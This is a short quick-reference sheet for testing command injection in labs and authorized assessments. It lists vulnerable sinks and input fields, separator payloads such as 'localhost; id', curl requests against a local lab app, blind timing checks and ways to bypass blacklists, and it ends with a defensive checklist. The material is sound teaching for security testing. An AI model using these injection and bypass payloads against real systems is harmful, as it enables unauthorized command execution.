Use this as a quick reference while testing command injection in labs and authorized assessments.
Common Sinks
os.system
subprocess.run(..., shell=True)
subprocess.Popen(..., shell=True)
popen
backticks
system()
exec()
template helpers
admin diagnostics
file converters
archive handlers
image processors
Input Locations
host
ip
domain
url
path
file
filename
format
template
printer
backup name
archive name
diagnostic option
Harmless Proof Commands
id
whoami
pwd
uname -a
Use small proof commands first. The goal is to prove shell interpretation, not to be noisy.
Separators
Run next command:
localhost; id
Run next command only if the first succeeds:
localhost && id
Run next command only if the first fails:
badhost || id
Pipe into another command:
localhost | id
Command substitution:
localhost $(id)
localhost `id`
Newline:
localhost
id
Lab curl Checks
Normal request:
curl -i -X POST "http://127.0.0.1:5000/command-injection/basic" \
-d "target=localhost"
Basic exploit:
curl -i -X POST "http://127.0.0.1:5000/command-injection/basic" \
--data-urlencode "target=localhost; id"
Weak blacklist bypass:
curl -i -X POST "http://127.0.0.1:5000/command-injection/blacklist" \
--data-urlencode "target=localhost | id"
Better-stage exploit through the second field:
curl -i -X POST "http://127.0.0.1:5000/command-injection/better" \
--data-urlencode "target=localhost" \
--data-urlencode "label=lookup; id"
Fixed route:
curl -i -X POST "http://127.0.0.1:5000/command-injection/fixed" \
--data-urlencode "target=localhost; id"
The fixed route should reject the input instead of running it.
Blind Checks
Timing proof:
localhost; sleep 3
Output redirection proof inside a local lab:
localhost; id > /tmp/ootw-cmdi-proof
Use blind checks only when direct output is not returned.
Blacklist Bypass Ideas
If ; is blocked, try:
&&
||
|
newline
$()
backticks
If spaces are blocked, shell parsing may still accept:
${IFS}
tabs
newlines
If the obvious parameter is protected, check nearby fields:
label
filename
format
debug
mode
path
Blacklists usually fail because shell syntax has many equivalent ways to express command boundaries.
Output Clues
uid=
gid=
/bin/sh:
not found
permission denied
syntax error
root
www-data
apache
nginx
kali
Defensive Review
Confirm:
- No route uses
shell=Truewith user-controlled input. - Commands are called with argument arrays.
- Input is validated with strict allowlists.
- Labels and filenames are not mixed into shell commands.
- The application uses libraries instead of shell commands where possible.
- Subprocess calls have timeouts.
- The web process runs with least privilege.
- Rejected command-like input is logged.